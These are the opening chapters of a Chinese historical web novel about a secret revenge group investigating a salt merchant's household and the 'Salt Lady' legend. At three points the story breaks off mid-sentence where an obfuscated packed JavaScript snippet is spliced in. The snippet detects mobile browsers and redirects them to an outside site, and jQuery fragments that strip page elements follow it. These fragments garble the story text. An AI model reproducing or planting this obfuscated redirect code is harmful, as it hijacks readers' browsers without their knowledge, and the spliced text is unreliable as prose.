《大明愤怒小队》 1. 盐娘娘（一） 五代藩镇割据，幽州地绝盐逾岁，民病瘿疣。忽有女临，教以刮碱土煮盐之法，旬日得雪晶盈釜。——《宁河县志》 * * * 楚怜吃力地抬起眼皮，头顶的溶洞低矮逼仄得直扑下来，让她喘不过气。体内的热气不受控制地向外奔涌，在楚怜的身下形成一片触目惊心的红。冷，实在是太冷了。她伸出手，徒劳地抓握着，从颤抖的上下牙齿间挤出几个字。 “孩子……我的孩子……” 没有人回应她的呼唤，唯有冰寒彻骨的水滴不断在钟乳石上凝结，又滴落，以一种冷漠的速度敲击着楚怜汗涔涔的额头。 啪嗒。 啪嗒。 她挣扎着，蠕动着，终于拼尽全力，拗着身子，半坐了起来。从腹部深处传来的疼痛，如同一道细长的白线将她一分为二。 幽光融化在钟乳石的褶皱上，让她隐约看清了自己隐没在血泊中的下半身。那很难能被称为人的身躯，反倒像是半截被砸烂掏空的虫。 她的肚子被剖开了，她心心念念了九个月的孩子，消失了。 她无声地张了张口，在沉默中惊声尖叫。 隐隐地，身下传来一阵凉意，不知何时，从地下漫上来的水已经淹没了她的指尖，冲散了刺目的血泊，并逐渐向她光裸的脚踝，颤抖的小腿，甚至纤弱的脖颈逼来。 “救……救命”，楚怜虚弱的呢喃着，妄图蜷缩起身子，离那些刺骨的地下水远一些。然而，就如同那些在夏日的暴雨中无处可躲虫茧，楚怜知道，自己恐怕是逃不掉了。 水流以一种不容置疑的速度攀援至她的颈部，封住了她的嘴唇，呛进了她的肺里。 近乎停滞的呼吸，让楚怜昏聩的头脑有了片刻的清醒，她记起了那个流传甚广的传说。相传，若一女子不配为人母，盐娘娘便会下得凡间来，带走她的孩子。 所以，这便是盐娘娘对她的惩罚吗？ 天人交战之际，楚怜隐约听到溶洞的深处，传来婴孩儿哭闹的声音。 呜哇—— 她看到一名白发臻首，全身如雪的女子，怀抱着一个裹在襁褓中的婴孩儿，冲她遥遥地，悲悯地，望了一眼。 那是—— 口中泛起一阵咸涩，楚怜浑身一个激灵，拼尽最后的力气，一边挣扎着向女子的方向搓动，一边抻长脖子嘶喊道：“盐娘娘！求你……把孩子……还……还给我！” 那不忍卒听的声音伴随着汹涌的水声，在溶洞中撞击回荡，发出可怖断续的回音。 还给我——给我——给我！ 被称作盐娘娘的女子没有回应，只是幽幽地转过身，抱着婴孩儿消失在溶洞深处。 水漫了上来，水面只余滚涌而上的水泡，而楚怜破碎的身躯，却再也找不见了。 * * * 万历十三年，济南府。 风传花信，雨送春声，连绵不绝的春雨滴落在湖面之上，蒸腾起一片毛绒绒的雾气。此湖名曰莲子湖，每至盛夏，湖中荷花遮天蔽日，夺魄生姿，极是喜人。 如今尚是早春三月，莲花还未发芽，静眠于湖水深处。湖中央唯余孤障刺天，绿峦峻拔，山若芙蓉，独秀于水面，正是济南府的名山——华不注。华不注山的山腰处有一座长生观，观中正殿供奉着碧霞元君，香火最是鼎盛。 碧霞元君，俗称泰山娘娘。据传，若能虔诚叩拜，贫者可富，疾者得安，耕者能岁，贾者将息，祈生者许年，未子者赐嗣，可说是所求皆得圆满，在齐鲁一带信徒靡众。碧霞元君的道场原在东岳泰山，可近些年来，华不注山的这座道观却因其灵验而日日人满为患，抢了泰山娘娘庙的风光。 而此时，长生观的大殿里却起了事端。 一名男子对着碧霞元君叩拜不止，直磕得额头都沁出血来，亦恍然未觉，却是吓得女眷们都叽叽喳喳地躲了开去，熙熙攘攘的大殿诡异地静了下来，只余下“砰砰”的叩头声和围观人群的窃窃私语。 “这汉子瞧着端正，怎么跟着了狂似的？” “可不怎地，吓人得紧！” “我听闻，这汉子是从青州府那边一路拜过来的，想来是有难事要求，看着怪可怜的……” “青州府？那一路拜过来可挺远的啊！” “可不怎地，吓人得紧！” “能求啥呢？求财求运？求子？要么……中状元？” “甭管求啥，过犹不及，若是再惊了泰山娘娘，还不是吃不了兜着走。” “可不怎地，吓人得紧！” “你能换句话说吗！” 刻意压低的人声如同嘤嘤不休的蚊虫，盘旋在男子的周身萦绕不断，可那男子却依旧沉浸在自己的悲怆里，一边叩拜，一边低声喃喃着什么，面前寸于的地面上，斑斑血迹混着泪水，氤氲开去。 “泰山娘娘，小人实在是求告无门，无路可去了……小人的妹妹死得冤枉，实在是冤枉！可是舌头底下压死人，那帮畜生……竟是生生将黑的说成白的，将死的说成活的，将那么一个大活人，上下牙齿一碰，便给说没了，小人不服，小人不服啊……” 男子约莫三十岁上下，可两鬓却隐隐有了白霜，太阳穴上青筋凸起，字字句句从咬得变了形的牙缝中钻出来，锋利如刀。 “小人求了人，人不理；小人告了官，官不纠，竟是将小人能走的路通通堵死了。今日，小人只能一路长跪，拜到了娘娘的道场里。可若这天底下的事情，娘娘也不肯管，那小人只有……只有……” 男子的拳头缓缓攥了起来，活到这般年纪，今日方知何为——走投无路。旁人只看到他磕得额头见血，又有谁知道他脊椎骨往下至大腿的皮肉都已溃烂，稍稍一动便是钻心的疼。那是县衙老爷对于他不断上诉的恩赐，也是对于他追问妹妹下落的回答。 自妹妹失踪后，他磨破了嘴，跑断了腿，妹妹的夫家只说是盐娘娘降世，将不守妇道的妹妹收了去，便再也不肯对他多说一个字。县衙老爷更是腌臜，竟让他到妹妹的姘头家里追问去。天可怜见，他那温柔恬静的妹妹哪里有这般歪心思，又哪里来的姘头！可是三人成虎，这一传十，十传百，妹妹弃子私奔的事儿竟被传成了真。 也罢，若是今日，享尽香火供奉的泰山娘娘也闭目塞听，不肯管这凡间事，他也唯有一头磕死在这道观中，还妹妹一个清白。 心中笃定了此想，男子眉眼一横，起了死志，大喊一声：“怜儿，是哥哥窝囊！”他猛地直起身子，向着身下的地面狠狠撞去。 预想之中的疼痛并没有出现，相反，男子的额头撞进了一片如同女子长发般地丝障里，一拉一扯间，男子视死如归的力道被卸去了大半，惶惶然抬起头来。泪眼朦胧中，只见一白袍道人谡然而立，正微笑着望着他。道人双臂端在胸前，一柄拂尘搭于臂上，一点殷红的血迹若红梅一簇，绽放于拂尘之间。 那道人眉骨生得极高，却无半分嶙峋戾气，衬着那飞扬的眼尾，含笑的眸光，倒比那敛目低首的碧霞元君还要慈悲几分。此时，殿外的晨光掠了进来，在他的颊侧笼上了一层极薄的辉彩，便是此刻心如死灰的男子，都觉出些如沐春风的意味。 道人喉头微动，柔声道：“善信的诚心，元君都看到了。”他稳步上前，走到跪坐的男子身侧，微微俯下身来：“官员考校尚需百日，元君垂察善恶岂能顷刻？善信，不如暂候七日，给元君些时日，亦是给自己一个机会。” 道人向男子伸出手，不催促亦不逼迫，只是含笑待着。 跪在那穿堂而入的春风里，男子鼻腔一酸，他已经有多久没有被人当“人”看待过了？多日来的委屈悲苦齐齐涌上心来，通红着眼眶，男子扶住了道人伸过来的手，借力站了起来。 围观的人群呼啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184801|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦让出了一大块区域，道人也不多言，搀扶着男子向殿外行去。 * * * 那道人自有其玄妙之处，让愤懑难抑的楚庸莫名平静了下来，他亦步亦趋地随着那道人走出了大殿，转出了山门，在道人的诵福声中，独自踏上了下山的小径。 跪了一个晌午，楚庸的四肢早已酸涩麻木，此时行在下山的路上，每走一步，腿脚都微微打晃。而楚庸却无暇旁顾，心中早已被两个字填满。 七日。 那道士许了他七日，可这七日之间当真能有什么改变吗？自妹妹楚怜活不见人，死不见尸之后，他又经过了多少个食难下咽，寝难安眠的七日呢？若那碧霞元君真的能体察人间善恶，她能够在七日之中还妹妹一个公道吗？亦或者，这七日之约，无非是道人不愿让他一头撞死殿中，污了碧霞元君道场的托辞吧…… 心中正这般想着，却见山路上行来一人。那人包裹得极是严实，头上遮着柳笠，脖颈上围着灰色的长巾，将大半面容掩在其中，可看身形，定是女子无疑。 山路狭窄，仅容一人同行，再加上男女大妨，楚庸便主动让了开去，紧贴着路旁的树干站定，等待那名农家女通过。 女子遥遥地冲让路的楚庸点了点头，脚步轻快地对向而行。可随着那女子越行越近，楚庸的心脏却剧烈地跳动了起来。 一种难掩的压迫感，让他几乎透不过气来。仿佛向他行来并非是背着柴堆的农家女子，而是一柄破空而来的利剑。 就在他戒备之时，不远处的树冠上倏地飞掠下两道黑影，如同义无反顾追逐猎物的游隼，以急速之势直逼农家女的后背而来！ 楚庸心头一颤，下意识地出言提醒道。 “小——小心！” 那“小”字刚从齿缝间挤出，却见那农家女动作极为自然地探手朝腰间抚去。只眼前一花，女子的右手上便泛起一道寒芒。说时迟那时快，两道黑影已然逼近女子后脑，悍然出击！ 楚庸只觉自己的呼吸都要停滞了，女子背后却仿佛长了眼睛一般，腰腹瞬时用力，借着背上柴薪的下坠之势，猛然向后仰倒，将身体弯成一道拱桥。 背后垒得高高的柴薪轰然坠地，滚落四溅。而两道黑影也恰在此时，于她的面前交错，两根峨眉刺劈空而来！女子堪堪躲了开去，唯有数缕碎发向上飞起，被削铁如泥的峨眉刺斩断。 楚庸暗道：好险！ 一击不成，还不待两道黑影重整颓势，女子的右手便悄然向二人袭去。两道细长的红线，出现在两名黑衣杀手的脖颈之间。 ——噗嗤！ 下一瞬，血水如涌泉，自细长的伤口间喷出，又随着二人的颓然落地，在空中划出一道粘稠的赤色弧光。 欢快的鸟鸣声、轻柔的风声、树叶相互磋磨的低语声、甚至于女子渐行渐近的脚步声都消失了，楚庸耳廓里唯余惊天动地的心跳声。 ——砰砰，砰砰砰！ 在转瞬间杀死二人的女子朝着楚庸缓步走来。 这农家女乔装改扮，偏偏自己目睹了这场杀局，定然要被灭口了。楚庸知道，今日自己必死无疑了。 生死一线间，楚庸感到不单单是恐惧，反倒是铺天盖地的遗憾。 他还没有寻到妹妹，他柔弱的妹妹，他善良的妹妹，他命苦的妹妹，说不定此时就躲在某个无人的角落，等待着他的救援。 亦或者—— 不知为何，眼见那乔装改扮的农家女高高扬起持着短刃的手臂，楚庸偏又涌起一丝释然。 亦或者——妹妹也早已命丧黄泉，只等着自己前去重逢。 楚庸苦涩地笑了一下，吐出一口憋在肺里的浊气，缓缓闭上了眼睛。 一声锐器斩断枝干的杂音响起，紧随而至的是一道沉静如水的女声。 “与其懦弱就死，不如——血债血偿。” 2. 盐娘娘（二） 农家女的音量不高，却如盛夏轰然而降的冷雨，将楚庸浇得透心彻骨。他抑制不住地颤抖起来，不知是因为绵延不断的恨，还是因为骤然而升的冷，他的上下牙齿也不断磕碰着，良久方止。 待到他冷静下来，睁开眼睛，转头再寻，那农家女早已消失在小径的尽头，找不见了。 楚庸瘫坐在树旁，惶惶然半晌，方才觉得树干上用短刃钉着一物，探手一摸，竟是一份浸透鲜血的竹制名帖。 上书： 这世间，总有诸善难奉，诸恶横行，总见好人垂泪，难得恶人遭殃。 若真是菩萨闭目姑息，神佛听而不闻，百官党同伐异，天子草菅人命，诸位该当如何？ 自然是以暴制暴，以刚克刚。 若真有难报之仇，不泯之恨，请携此名帖，赴济南府华不注山长生观，寻晏回姑娘。 * * * 花开两朵，各表一枝。在苦主楚庸拿到名帖之时，那农家女则背着垒得高高的柴薪走入了长生观中。穿过游廊，绕过后院排列整齐的厢房，再从花园的假山向西，直奔僻静处的柴房而去。 一路上，无论道童居士，亦或是洒扫的杂役，甚至身份尊贵的经师高功，皆对着她颔首行礼，颇为敬重忌惮。农家女微微敛目，一一受了礼。 走进柴房，掩了门，农家女将柴薪堆在墙角，俯身转动一个不起眼的泡菜坛。咔嗒咔嗒的机扩声随之响起，柴房西面的一处墙体缓缓翻转开起。 农家女略一弯腰，走入墙后的隧道之中。 墙体在身后自动关闭，将最后一丝天光掩在外面，扑面而来的是浓重得如同实体的黑暗。农家女的步子丝毫没有停滞，借着洞壁上如豆的灯光，在隧道中行进，逼仄的空间里，响起有节奏的踏水声。 行了约莫有数十步，拐过一个低矮的石墩，一个形容开阔的石室豁然眼前。 “晏回姊姊来了！”一阵清亮的女声若出谷黄莺，打破了令人压抑的静寂。 石室中间有一张巨大的石桌，桌旁围坐数人，闻言皆站起身来，向着女农人的方向看了过去。 此时，那农家女摘下了柳笠，收起了裹着脖颈的长巾，步入到火光明亮的石桌前。与她说着“血债血偿”的冷静果决嗓音不同，名叫晏回的女子长着一张柔弱苍白的脸。狭长的睫毛簇着一双猫眼石般浅淡的眸子，被橙红色的火光一照，澄塘映雪般粲然生辉。唯一美中不足的是，许是因为肤色太过白皙，她的眼下泛着淡淡的青灰色，如同碧霞元君座下萦绕的烟气一般，始终挥之不去。 石桌的对面立着一位少女，正是她第一眼发现了踱入石室的晏回。 “晏回姊姊，任务还顺利吗？” “嗯”，晏回微微颔首，示意众人都坐下来，“任务已了，只是回来的路上撩了两名空子，耽误了些时间。” 闻言，石桌旁主动步出三人，向着石室外走去，想来是料理那两名杀手留下的烂摊子去了。而其余众人面色如常，仿佛晏回所言杀戮之事，再自然简单不过。 “姊姊，那名帖给了吗？”少女扬起小脸儿，笑得春意盎然。 “嗯，万事俱备，复仇与否，只看那楚庸的选择了。”晏回答道。 少女名叫唐珠儿，刚过豆蔻之年，正是耐不住性子的时候，这方见晏回话音刚落，她便叽叽喳喳地追着问道：“姊姊，为啥要选这个楚庸呢？” “论钱，他定然是没有的；论权，他在青州府被衙门美美打了三十大板，想来也没什么本事；论人脉，他唯一的妹子楚怜此时生不见人，死不见尸”，唐珠儿掰着指头认认真真地算着，“姊姊瞧上他什么了呢？” 火光没有照到的阴影之中响起一声轻嗤，一抹白色的人影懒洋洋地伏到石桌边，用手腕撑着脖颈，若有似无地瞟了唐珠儿一眼。 “这话问的，西楼何曾瞧得起谁？”开口答话的正是那长生观中，救得楚庸一命的白袍道人。此时的他早已没了方才观中让人如沐春风的仙人模样，倒像是一只刚打过午盹儿的猫。他不喊晏回的名姓，只唤她表字，显得格外亲昵。 “瞧不瞧得起你，我说不准，但晏回姊姊定然是瞧得起我的！”唐珠儿急赤白脸地反驳道。 “可不是，咱小班主唐珠儿一双妙手空空，独步天下。”白袍道人笑道。 “哼，哪比得上咱长生观观主范凌舟铁齿铜牙，把活的说成死的，把死的说成活的！”唐珠儿不甘示弱，气冲冲道。 白袍道人范凌舟将石凳扯远了些，跟唐珠儿隔开了一段距离：“西楼，快扯着些她，再咬着我。” 就在唐珠儿即将扑上去厮打的瞬间，一双素手不偏不倚按住了她的肩。 “珠儿”，只这淡淡一声唤，唐珠儿便偃旗息鼓，坐回到石墩儿上，咬牙切齿地瞪着范凌舟。“你方才说，那楚庸身无长物，没什么可图谋的。” “你恰恰忘了，人最宝贵的，不是钱，不是权，亦不是人脉。” “那是什么？” “是被压榨到极限，不得不豁出性命的恨意。”晏回抬眸，凝向石室的深处，“而这种极致的恨意，就是要烧起来，才好看。” 范凌舟看着晏回若有所思的眼神，微微一笑：“既然西楼都发话了，那我们便待他七日。” “成吧，待他七日。”唐珠儿点点头。 七日后。 一大清早，道观里便迎来了一位走路一瘸一拐的男子，观主范凌舟亲往接迎。 男子从怀中掏出一份沁满鲜血的竹制名帖，名帖上的血迹早已干涸，透过那暗褐色的血污，名帖的字迹依旧清晰可辨。 “道长”，男子开口道，“我……我求见晏回姑娘。” * * * 青州府寿光县外驶来一辆颇为低调牛车，未及县城便停了下来，车上下来一男一女，女子柳笠长巾，看不清容貌；男子身姿如鹤，仙风道骨，二人在县城外各奔东西。牛车上只余一少女，高喝了一声“驾”，驱赶着牛车驶入了寿光县城。 寿光城东关有一古寺，坐北面南，山门耸立，大殿巍峨，廊庑壮丽，有“普陀道场”之称，名曰——宁国寺。寺中植有古槐，不知何年所植，因其岁远，故有“先有老槐荫，后有寿光城”之说。 正是春意盎然之时，老槐苍枝劲健，绿意葱茏，生了新芽的枝干越过古寺的院墙伸展而出，形成一片柔软的绿荫。 绿荫之中匐着一浅淡的影子，如同春风垂落的柳枝，让人望之生怜。细细看去，却是一名女子，臻首低垂，哀容切切，一身粗麻孝衣簇着那婉约的眉目，让路过的行人都不由得偷瞄上数眼。 这时，一阵喧闹声传来，却见一列朱漆轿马自东街口转了个弯，朝着宁国寺的方向行来。轿夫皆着赭色短衫，穿着短靴的脚板踏得青石路咚咚作响。为首那顶八宝璎珞轿更是扎眼，不知道的还以为是青州府的知府官轿。 “都仔细着些！”领头的家仆挥鞭抽开道旁未及避让的行人，态度嚣狂得紧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184802|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >路人一边慌忙闪躲，一边嘴里止不住地低声咒骂。 “这天杀的鲁秉添，上月还见他在盐场给太监磕头，今儿倒敢用四抬轿了！不就是捐纳了个监生吗，还真把自己当盘儿菜了！” “可不是，若是搁在洪武年间，十个脑袋都不够他砍得！” “别抱怨了，这年景儿，笑贫不笑娼，有钱能使鬼推磨，你何苦跟他一般见识？” “嘿，可不敢，人家鲁员外哪是咱们这帮土鸡瓦狗碰得起的！” “知道就行，少言语两句吧！” 街上熙熙攘攘的路人或行或立，自然是一眼就瞅见了来势汹汹的轿阵，躲避得及时，便是腿脚慢些的，也堪堪避开了鞭子。可有些人却没有这般幸运了，就比如那跪在古槐下磕头的女子。 “哎呀”一声轻叫和着陶碗被打碎的声音一同响起。手持长鞭的家仆一鞭子抽飞了女子放在身前的陶碗，第二鞭正欲往女子的脸上招呼，胳膊高高扬起，却迟迟没有挥下来。 女子不躲不闪，只含泪凝着他，被那双琥珀色的猫眼一扫，那嚣狂的家仆竟是有些痴了，缓缓放下鞭子，露出讪讪的笑。 “哪个腌臜货许你在此冲撞贵人，晦……晦气！”家仆嘴上这般骂着，心里却暗自懊悔，不该毁了这小娘子的陶碗，语气便也显得名不正言不顺起来。 女子慌慌张张匍匐数步，敛回了自己的破碗，瑟缩到墙角，如同猫儿爪下的孤雀。 轿帘微微掀起一条缝，一道凌厉的视线射出，在女子梨花带雨的面容上凝了片刻。 “小顺子，老爷我平时就是这般教导你的？”轿帘后的嗓音像是浸透蜜油的棉絮，乍听温厚圆融，偏生尾音总要带一丝黏腻的颤。 那家仆赶紧堆笑作揖：“老爷平日里教训咱们当以仁心体察黎庶，是小的猪油蒙了心。” “嗯——”鲁秉添拉长了音，眸光却在女子的脸上来回扫量，“小娘子，可是有甚冤情？” 女子俯身叩头，后颈支棱的骨头顶得孝衣鼓起尖角：“大老爷容禀……家父乃是南山坳的佃农，今年大旱，东家仍要收七成租子……家父交不起，实在没个活路，三日前便吞了观音土……小女子身无分文，又被东家赶了出来，只能……”她紧紧咬住下唇，声音几乎是从牙缝中挤了出来，“只能卖身葬父。” “天可怜见！”鲁秉添喟然长叹，其悲天悯人之意呼之欲出，“青州府治下竟还有如此孝女，我定要向知府大人禀明，还你爹爹清白。” “小顺子”，鲁秉添威严道，“夫人院儿里倒少个捧香盒的伶俐人，可是？” 那名叫小顺子的家仆自小在鲁府中长大，浸淫十数年，最是会察言观色，此番见自家老爷中意这孤女，自然陪着笑脸儿哄劝：“可不是吗，这姑娘瞧着就是个有造化的！” 鲁秉添心头大畅，可这戏还是得做全，决计不能落下强抢民女的话靶。 “小娘子，老爷我愿意替你全了这孝心，让你在府上签了活契，每月再予你五钱银子，可使得？” 那女子只是嘤嘤怯怯地哭，鲁秉添也不着急，自有长眼色的家仆替他催促。 “小娘子，还不谢大老爷的恩典？” 那女子终于抬头，一双泛着桃红的妙目在眼眶里一旋，扑簌簌地又落下泪来，看得人心神摇荡，不是那乔装改扮的晏回晏西楼又是何人！ 若想以暴制暴，先得以身入局。不入虎穴，焉得虎子，自古应如是。 “民女谢大老爷恩典。” 3. 盐娘娘（三） 晏回深吸一口气，挽起一个恬静到让人不忍苛责的笑，端着新泡好的茶水，走进了夫人崔氏的房间。 入得鲁府不过两日，晏回只老老实实在夫人房里呆着，眼耳却一刻不得闲，将府里的人际关系摸了个七七八八。 先说这鲁府的当家鲁秉添，自小便随父亲做着贩盐的生意。最开始是运粮至朝廷指定的粮仓换取盐引，再返回寿光的盐场取盐。后来生意越做越大，鲁家便直接向盐运司缴纳白银换取盐引，省了长途运粮的车马劳顿。待鲁秉添当家以后，更是和寿光盐场的巡盐太监称兄道弟，私底下送了不少礼金，年初又捐纳了监生，摇身一变成了半个官老爷。 这鲁秉添官场得意，家宅却不宁，先后娶了四房妾室，不是暴病而亡，就是难产而死，至楚怜这一房，更是闹出了弃子私奔的笑话。所以，这鲁府虽年年添丁进口，却只留下了大夫人这一房妻室，以及与妾室所出的四个孩子。 而这大夫人——晏回下意识地蹙了蹙眉，相处了两三日，说过的话一个手都能数得过来，别说探问些内情了，大夫人几乎没有正眼儿望过她。 晏回的脚步极轻，只隐隐流露出些许衣袖摆动间的摩擦声。在闭目诵经的大夫人身前站定，晏回将青瓷茶盏轻放在案几上，特意让盏底磕出半声脆响。 “夫人，婢子听您嗓音暗哑，想是诵经累了，先喝口茶吧！” 晏回的目光在大夫人苍白的面色上掠过，又飞快地掩在眼帘之下。 大夫人的诵经声未断，只是摩挲佛珠的动作略有迟滞。 “嗯——” 从鼻腔里发出短促而轻微的应声，女子连眼皮都未曾抬起。 晏回心中不由叫苦，她自认性格内敛，又深谙言多必失的道理，因此，除了任务需要，平日里皆寡言少语，罕有笑脸。可这大夫人比之她却有过之而无不及，倒像是个只会喘气儿的木头美人。 “大夫人，听老爷说，这是盐使司今年的头道春芽，夫人定是……” “放下便出去吧。”晏回的话还没说完，就被大夫人的话音截断了。同女子如冰雕雪砌般冷漠的面容一样，大夫人的声音亦是毫无情感的波澜。 晏回依言退出了房间，小心翼翼地合拢了房门。 虽是再简单不过的六个字，晏回却从中揣摩了暗藏的意味。在她刻意提到“老爷”的同时，晏回注意到木疙瘩般地大夫人，面上有了瞬间的波动。 她细长的眉头倏地向中间皱起，但也只是片刻，便如漾起涟漪的湖面，重又归于宁静。 ——厌恶。 没错，那种表情意味着厌恶，意味着眼观鼻鼻观心的菩萨面容下，难以掩盖的深恶痛绝。 这鲁府倒是有些意思，晏回心中暗道。 既然那大夫人不愿意她在房里呆，她也乐得清静，借此机会，到院里逛一逛，说不定能打听出点儿新东西。 晏回端着空空的茶盘，眸子在院儿里来回扫量着。 只见那宏俊堂宇，重轩复道，四面抄手游廊，皆是外涂金彩，再覆以丹垩雕刻，华美非常，几名婢子正倚在树下说小话儿，其中一个手里还抄着一跟鸡毛掸子，说到兴起之处，便像跟狐狸尾巴一般摇来晃去。 晏回识得这几名婢子，正是夫人房中的梅兰竹菊。 说来也是有趣，这几名贴身婢女放着主子不伺候，初来乍到的自己倒成了跑得最勤快的一个。 晏回的嘴角微抿，露出一抹了然的笑意。 想来是这位冷心冷情的大夫人实在是不受宠，下人们便也看人下菜碟，懒得到跟前伺候。可若是崔氏真的入不得那鲁秉添的眼，却为何能数年来屹立不倒，那些曾经显赫一时的妾室却再也找不见了呢？ 心里正想着，自花园另一头，却传来一阵嘈杂的笑闹声，只见三名孩童正相互追逐着向这边跑来，队伍的后面，在鲁秉添跟前伺候的小顺子叫苦不迭的喊着。 “小祖宗们，快饶了小的吧！” 闻声，晏回赶紧垂下头，贴着一旁的柳树站定，生怕引起那一帮孩子的注意。 倒不是打怵，实在是心里厌烦，尤其是那种孩子才能发出的尖锐叫声，更是惹得晏回气躁。 虽然晏回躲得及时，可追在少爷小姐们身后的小顺子，还是一眼就看到了柳树下的佳人。他跑得满头大汗，见那女子臻首微垂，亭亭玉立的样子，如同画中走下来的神仙人物，让他如饮琼浆，全身为之一畅。 喉结滚了两滚，他强压下心头的焦渴，将目光恋恋不舍地挪了开去。 心中暗道：哎，终究是老爷看上的佳人儿，我是没造化尝咯！ 待小顺子追着孩子们嬉笑而过，晏回心中的疑惑又添数分。 那为首的男孩儿不过五岁的年纪，最小的女孩儿约莫着三岁上下，三名孩童，分别出自三名妾室。而楚怜的弃子，晏回还无缘得见。如此算来，一名妾室留下一个孩子，又都是降下孩子之后，便死得死，逃得逃，这天下当真有如此巧合吗？ 可若并非如此，那些妾室如今，又在何处呢？ 正思量间，晏回穿过花朵掩映的后花园，来到了西南方的僻静之处，一座式样精巧的小庙悠然眼前。 那小庙檐飞如刀，从柱基到瓦脊都用一种独特的花岗岩雕砌而成，在阳光下闪动着细碎的光彩。为了完成苦主们的任务，晏回可谓走南闯北，见识颇丰，却从未看见过类似的石材，她心中疑惑，不由得移步上前查看。 四周空无一人，小庙的大门也被一把铜锁紧紧拴住，锁眼儿上泛着铜绿的锈色。 晏回抬起手，轻轻抚了抚那灰白色的墙体，手指感受着那混杂在石料中与众不同的粗粝。苍白的手指骤然停住，这并不是花岗岩，而是——贝壳！ 她后退一步，惊愕地注视着面前这座莹然生辉的小庙。将数以千万计的贝壳打碎，融混在泥浆之中，再烧制成砖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184803|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，最终垒建成庙，这鲁府的财力当真不可小觑！ ——那这庙中奉的真神…… 晏回正欲再探，却听见身后传来一脚深一脚浅的脚步声。 来人了！ 晏回立时换上一副慌张的神色，提着裙子，迈着碎步兜兜转转起来。 不多时，那人就走进了晏回的视野，是一名挑水的杂役，看上去年纪不轻了。 “这位老丈”，晏回红着脸施了一礼，“婢子是大夫人房里新来的丫鬟，初来乍到，走得远了些，识不得回去的路，还望老丈帮个忙。” 那老人直起腰来笑道：“好说，你穿过这庭院直着往北走，到假山处再往东一转，便到了。” 晏回微笑着颔首，却不着急走，反而转身指着小庙问道：“多谢老丈，再劳烦一句，婢子见这小庙修得精巧，里面供奉的是哪路神仙啊？文财神？还是——妈祖娘娘？” 老人闻言，笑得鼻子眼睛都挤到了一处，浑浊的眸子藏在皮肤的皱褶间放着光。 “这里是盐娘娘的道场。” “盐娘娘？”见老人面露疑色，晏回赶紧补充了一句，“婢子家在南山坳，见识粗浅，让老丈见笑了。” 南山坳中的农户人丁稀薄，又徭役繁重，罕有出山谋生者，不识得盐娘娘倒也合理。老人点了点头，解释道：“你既入了咱们宅子，心中也得供奉着娘娘才是。” “相传，在那五胡乱华的年景儿，青州府大旱，颗粒无收。人没了粮食尚能薅点儿树皮草根儿将就，可若没了盐，便活不得了。就在这个时候，天上的仙女看不得人间疾苦，下得凡来，化作一名怀抱婴孩儿的美妇人。她将自己的孩子投于枯井之中，第二日一早，井中便生出了白花花的盐，青州府的一方百姓靠这口盐井才活了下来。” ——把自己的孩子投入枯井化作盐晶？这是什么令人齿颊生寒的传说啊？怎么听这盐娘娘也不似善类…… 见晏回神色一凛，老人似乎颇为得意，抬起手臂遥遥一指：“据说啊，咱府上的那口卤水井，就是当年盐娘娘祭子化盐的井呢！” 他讲得口干舌燥，砸吧了一下嘴：“就是苦了老朽，日日出门挑水浇花，疲累得紧。” 晏回佯装恭敬地朝小庙拜了拜：“这盐娘娘如此神通广大，那婢子也得拜拜才是。” “诶——”老人微微抬眸，细长的眼睛射出一丝戏谑的光，“女子可拜不得，咱府上的漂亮女子更是拜不得。” 晏回回转过头，面露疑惑地向老人看去，却见老人并不瞧她，只是用瓢舀了桶里的水，向着院中的花朵泼洒。 “盐娘娘苦啊，没有了自己的孩子，便恨上了不配为人母的女子。若是起了歪心思……”哗啦，一瓢冷水浇下，花朵呈了滴水之恩，愈发摇曳生姿，“盐娘娘便会——去母留子。” 花瓣上凝了无数晶莹的水珠，反射出晏回佯装惊惧的脸，以及那眸底难掩的冷意。 4. 盐娘娘（四） 晏回怀中抱着一束忘忧草，推门走进了大太太的卧房。 她不断在心中咂摸着盐娘娘的故事。 去母留子……也就是说，鲁府上四名小妾的厄运，都是盐娘娘所为吗？因为她们不配为人母，所以盐娘娘夺去了她们的生命，或者将她们引领至世人不可知的角落，只留下了四名失去母亲的孩童？ 这就是人们信奉的神明吗？ 晏回嘴角挽起一丝冷笑。放屁！这世间哪有什么神明，有的只是借着神明之力，阴险叵测的人心！那价值连城的小庙中祭祀的，究竟是盐娘娘，还是人的血肉沤出来的秘密……她会查出来的。 她将怀中的忘忧草轻轻插在花瓶之中，摆在卧房的显眼处。 这是她从花园中采撷的，今日初开的花朵，摆在冷清的卧房里最是合宜。那浇花的老人倒是热情，引她去寻开得最繁盛的几朵，只是将忘忧草递给她之时，那老人的神情有些古怪。 